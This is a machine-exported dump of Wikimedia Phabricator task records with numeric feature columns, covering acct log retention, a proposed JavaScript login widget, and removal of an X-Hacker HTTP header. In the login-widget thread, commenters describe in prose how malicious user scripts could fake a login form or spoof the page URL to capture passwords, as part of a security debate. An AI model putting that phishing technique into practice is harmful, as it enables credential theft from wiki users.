+https://gerrit.wikimedia.org/r/156236",,,1409025359,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zm3pfhfknjxqfrnikze5,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+71604,acct (process and login accounting) fill up instances /var/ partition,"I noticed 'acct' generates log files under /var/log/account/ which is on a 2GB partition.  It is log rotated via a daily cron  /etc/cron.daily/acct , keeping the last day uncompressed.
+
+On deployment-bastion.eqiad.wmflabs that is 542MB currently, or a quarter of /var/ available disk space.
+
+/etc/default/acct has an option to change the number of day to be kept:
+
+ # Amount of days that the logs are kept.
+ ACCT_LOGGING=""30""
+
+
+Maybe we can reduce it to 15 days?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1408106160,1413421062.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-v6ctymtj7bn45zem5gdk,task_description,resolved,True,c3,1,True,False,True,-46,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+546727,acct (process and login accounting) fill up instances /var/ partition,/var is still filling up on deployment-bastion on a fairly regular basis because of these logs with the current retention on labs instances set to only 7 days.,,,1444885666,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+450812,acct (process and login accounting) fill up instances /var/ partition,"Change 177427 abandoned by Yuvipanda:
+base: Make number of days acct logs are kept customizable
+
+[[https://gerrit.wikimedia.org/r/177427]]",,,1430269071,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+336106,acct (process and login accounting) fill up instances /var/ partition,"Change 177427 had a related patch set uploaded (by Yuvipanda):
+base: Make number of days acct logs are kept customizable
+
+[[https://gerrit.wikimedia.org/r/177427]]
+
+#patch-for-review",,,1417650549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+314499,acct (process and login accounting) fill up instances /var/ partition,"Change 164520 merged by Dzahn:
+labs: reduce acct archiving retention
+
+https://gerrit.wikimedia.org/r/164520",,,1413420970,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+314495,acct (process and login accounting) fill up instances /var/ partition,+bd808  +jeremyb,,,1412324629,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+314491,acct (process and login accounting) fill up instances /var/ partition,"Change 164520 had a related patch set uploaded by Hashar:
+labs: reduce acct archiving retention
+
+https://gerrit.wikimedia.org/r/164520",,,1412324224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+314487,acct (process and login accounting) fill up instances /var/ partition,The package is acct which is part of of our standard packages installed via puppet. It provides data for commands such as 'ac' or 'lastcomm'.,,,1412323934,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0
+71596,Provide JavaScript login widget,"I need a login widget I can show the user to login without leaving the current page. This kind of widget can be used in many places, for example in Special:Translate to recover from expired session or log in on other pages to be able to make changes.
+
+Because there might be captchas, rate limiting etc. I think that such widget should exist in MediaWiki core.
+",Medium,50.0,1408097520,1715871619.0,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-xzuqhowh3m2zl6cejurq,task_description,duplicate,True,c3,1,True,False,False,-46,True,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+2337349,Provide JavaScript login widget,"I don't mind, but the question is whether it will be ready before the 10-year anniversary :)",,,1715887838,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,463,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+2336897,Provide JavaScript login widget,"At #MediaWiki-Platform-Team we've been working on adding the ability to shown the login form in a popup window. We started on it for different reasons (#sul3), but it would also fit this use case. I hope you don't mind me closing this in favor of our task with more details about it, if I also promise that it will be implemented soon :)",,,1715871602,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,463,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+2308333,Provide JavaScript login widget,"+1! This would be especially useful for users with a slow connection, as going through the login process currently takes two new URL page loads.",,,1712068337,,PHID-USER-hcd6dp27fpzg5cvijysg,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,False,,,456,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+1191477,Provide JavaScript login widget,{T208823} is vaguely similar in that it also proposes a JS-based login popup (which post-AuthManager basically means a form builder) although for different reasons.,,,1544147166,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,179,True,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+967551,Provide JavaScript login widget,">>! In T71596#3771478, @Krinkle wrote:
+> Nvm, `mediawiki.api.login` (the JS module) has already added (in 8387be94f8e2ae).
+
+OTOH, action=clientlogin is the modern method for login since 1.28. action=login is deprecated except for bot passwords.",,,1511195317,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,124,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+966797,Provide JavaScript login widget,"Nvm, `mediawiki.api.login` (the JS module) has already added (in 8387be94f8e2ae).",,,1510956805,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,124,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+314076,Provide JavaScript login widget,"+1! 
+
+With the additional service that without having to leave the page, you can check if you're still logged in and if not, log in again. I'm not sure if this would also put an end to the problem of expired session data, but it's a step in the right direction. 
+
+Evidently this would need to be an option available to site owners, to be enabled in Localsettings.php (for all editors) and perhaps Special:Preferences. If you don't trust this feature to be available on your site, then don't opt in for it.",,,1409038339,,PHID-USER-cf5lcjkswqmxno5wjg36,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,False,,,-45,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+314070,Provide JavaScript login widget,"(In reply to Michael M. from comment #1)
+> A login widget could be easily spoofed by a malicious user script (while
+> Special:Login is difficult to spoof).
+
+There's actually nothing that makes Special:UserLogin particularly difficult to spoof.  Using malicious JavaScript, you can even spoof the actual URL using history.replaceState (https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history), so that when someone clicks a pre-determined link (or visits a particular wiki page), their browser URL bar will show the exact URL of the normal login page, and the web page can look like the login page.
+
+The solution is to keep a careful eye on all scripts in the MediaWiki namespace, and be cautious when installing user scripts.
+
+If we do add such a ""login and stay on the page"" feature (which is under discussion, e.g. as part of a potential ""login and save your edit"" combination workflow), we will also have to communicate it to avoid confusion.
+
+However, security concerns should not simply block all discussion and development of features in this area.",,,1408830129,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,True,,,-45,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+314066,Provide JavaScript login widget,"(In reply to Rainer Rillke @commons.wikimedia from comment #2)
+> (In reply to Michael M. from comment #1)
+> 1) Do you store passwords in your browser for Commons? Firefox? Please log
+> out and go to
+> https://commons.wikimedia.org/w/index.php?title=Help:Gadget-Cat-a-
+> lot&withJS=MediaWiki:ActivateGadget.js&gadgetname=Cat-a-lot -- see your
+> password will be pre-filled and my evil script could read it. Scary, isn't
+> it :~)
+
+Even if I allow Firefox to store my password for Commons (which normally I don't do) only my user name is prefilled, not the password.",,,1408608950,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1
+314061,Provide JavaScript login widget,"(In reply to Michael M. from comment #1)
+naak naak naak, again such a security nonsense; the same as in Bug 48931 -- either we trust user scripts and this is what we currently do (see below) or we don't and they must be completely removed.
+
+1) Do you store passwords in your browser for Commons? Firefox? Please log out and go to https://commons.wikimedia.org/w/index.php?title=Help:Gadget-Cat-a-lot&withJS=MediaWiki:ActivateGadget.js&gadgetname=Cat-a-lot -- see your password will be pre-filled and my evil script could read it. Scary, isn't it :~)
+
+2) Malicious scripts could, at any time create a fake login form like ""We are sorry, but your session expired. Please log in again ... blah blah Password: [_______]"". We are not actively telling users that they should only use [[Special:UserLogin]] for security reasons and never enter their password on a different page.
+
+3) There is an API module for login and it's not only useful to bots. The security claims are void, let's move forward.",,,1408287904,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,False,,,-46,True,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+314058,Provide JavaScript login widget,"A login widget could be easily spoofed by a malicious user script (while Special:Login is difficult to spoof). Bug 48931 was closed as WONTFIX for the possibility that an evil script could replace the links in Special:Preferences to change the password, which seems a more difficult attack to me than simulating a login widget and sending the entered password to a server under the attacker's control.",,,1408179236,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,False,,,-46,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+71369,use Site.protocol() instead of hard-coded https?,"See https://gerrit.wikimedia.org/r/#/c/148333/ for a sample. I guess there are some more.
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal",Medium,50.0,1407691380,1435071550.0,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-blaa7nhd2bik2gcyytx4,task_description,resolved,True,c3,1,True,True,True,-47,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+479971,use Site.protocol() instead of hard-coded https?,https://gerrit.wikimedia.org/r/#/c/184334/,,,1435071550,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-blaa7nhd2bik2gcyytx4,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+479970,use Site.protocol() instead of hard-coded https?,done in Ic4f340b42981121216af3ab1f6cee00289fb6b47,,,1435071523,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-blaa7nhd2bik2gcyytx4,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+70982,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"`curl -vs blog.wikimedia.org 2>&1 >/dev/null | fgrep X-hacker`
+
+> X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
+
+We should recruit for WMF instead of automattic. :-D
+
+This currently is served on:
+- [x] ~~blog.wikimedia.org~~ diff.wikimedia.org
+- [x] soundlogo.wikimedia.org
+- [x] wikimediafoundation.org
+- [x] wikimediaendowment.org
+- [x] techblog.wikimedia.org
+
+
+See also <https://wpvip.com/documentation/x-hacker-and-x-powered-by-http-headers/>
+
+Add this to the them functions.php to remove:
+
+
+```
+/**
+ * Filter X-hacker output.
+ */
+add_filter( 'wp_headers', function( $headers ) {
+    if ( isset( $headers['X-hacker'] ) ) {
+        unset( $headers['X-hacker'] );
+    }
+    return $headers;
+}, 999 );
+```",Medium,50.0,1406861760,1677786927.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-xmodofj3xfcdg43wyifb,False,PHID-TASK-cmi5u75baovicpb4veoy,task_description,resolved,True,c3,1,False,False,False,-48,True,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1
+2079685,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Looks like policy.wikimedia.org now redirects to https://wikimediafoundation.org/advocacy/, of which the domain already excludes that header. The newer soundlogo.wikimedia.org site also lacks the header, so it looks like this can be closed.",,,1677786927,,PHID-USER-xmodofj3xfcdg43wyifb,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,400,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0
+1724950,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Just noting the `x-hacker` header still exists for policy.wikimedia.org.,,,1621267867,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,306,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+1557129,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#6170566, @CKoerner_WMF wrote:
+> I updated the task with the current status of blogs hosted by VIP. I've submitted a pull request for the techblog. (https://github.com/wikimedia/wpvip-wikimedia-techblog/pull/2). 
+> 
+> Why the heck am I here? We're reusing the blog.wikimedia.org installation for the future of the community blog (previously Wikimedia Space) so I wanted to make sure I did this for our own development going forward. :)
+
+This has been merged as https://github.com/wpcomvip/wikimedia-techblog/pull/13/commits/4bc2d8e2c7838c464d7acaf7ea996acdd70750ee and deployed to the live blog.",,,1596582177,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,265,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+1552603,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Updating project tags to reflect current state. ,,,1595957374,,PHID-USER-iwx53fdq7w3yv4h7wffx,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,264,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+1514153,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#6176378, @Aklapper wrote:
+> @CKoerner_WMF: That raises some questions (e.g. what happens to its current content). Is there a related technical task about this which has more info?
+
+I'm starting to document more. A few tasks in #wmf-communications and https://meta.wikimedia.org/wiki/Diff_(blog)
+
+The old blog.wikimeida.org content will remain. ",,,1590766221,,PHID-USER-iwx53fdq7w3yv4h7wffx,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,256,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+1513898,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#6170566, @CKoerner_WMF wrote:
+> We're reusing the blog.wikimedia.org installation for the future of the community blog (previously Wikimedia Space)
+
+@CKoerner_WMF: That raises some questions (e.g. what happens to its current content). Is there a related technical task about this which has more info?",,,1590749299,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,256,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+1512458,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"I updated the task with the current status of blogs hosted by VIP. I've submitted a pull request for the techblog. (https://github.com/wikimedia/wpvip-wikimedia-techblog/pull/2). 
+
+Why the heck am I here? We're reusing the blog.wikimedia.org installation for the future of the community blog (previously Wikimedia Space) so I wanted to make sure I did this for our own development going forward. :)",,,1590609521,,PHID-USER-iwx53fdq7w3yv4h7wffx,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,255,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+1508415,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Per the link that @Krinkle just added this seems super easy to remove.
+Or to decide that we are not going to remove it?
+Perhaps the team in control could make that decision and remove it or close this task? :)",,,1590015187,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,254,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0
+1500275,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"[[https://techblog.wikimedia.org|TechBlog]] has slightly modified version of this.
+
+```
+x-hacker: If you're reading this, you should visit wpvip.com/careers and apply to join the fun, mention this header.
+```",,,1589057394,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,253,True,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+1359664,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#5522799, @sbassett wrote:
+> Is there a technical contact on #wmf-legal for that site?  Otherwise, we probably want to be proactive here and create and deploy the patch for them.  Happy to help, though I obviously do not have access to the Automattic servers.
+
+Best person to poke would probably be @Slaporte. He has a more involved role these days than when he was the ""tech guy"" for Legal :) so may be harder to reach him now.",,,1569435007,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,220,True,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1
+1359661,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">> The blog site is intended to be archived and moved to the Foundation's servers. The task was something Technology was working on, but I think got delayed with the leadership transitions.
+> Ok. Is there an open task for it?
+
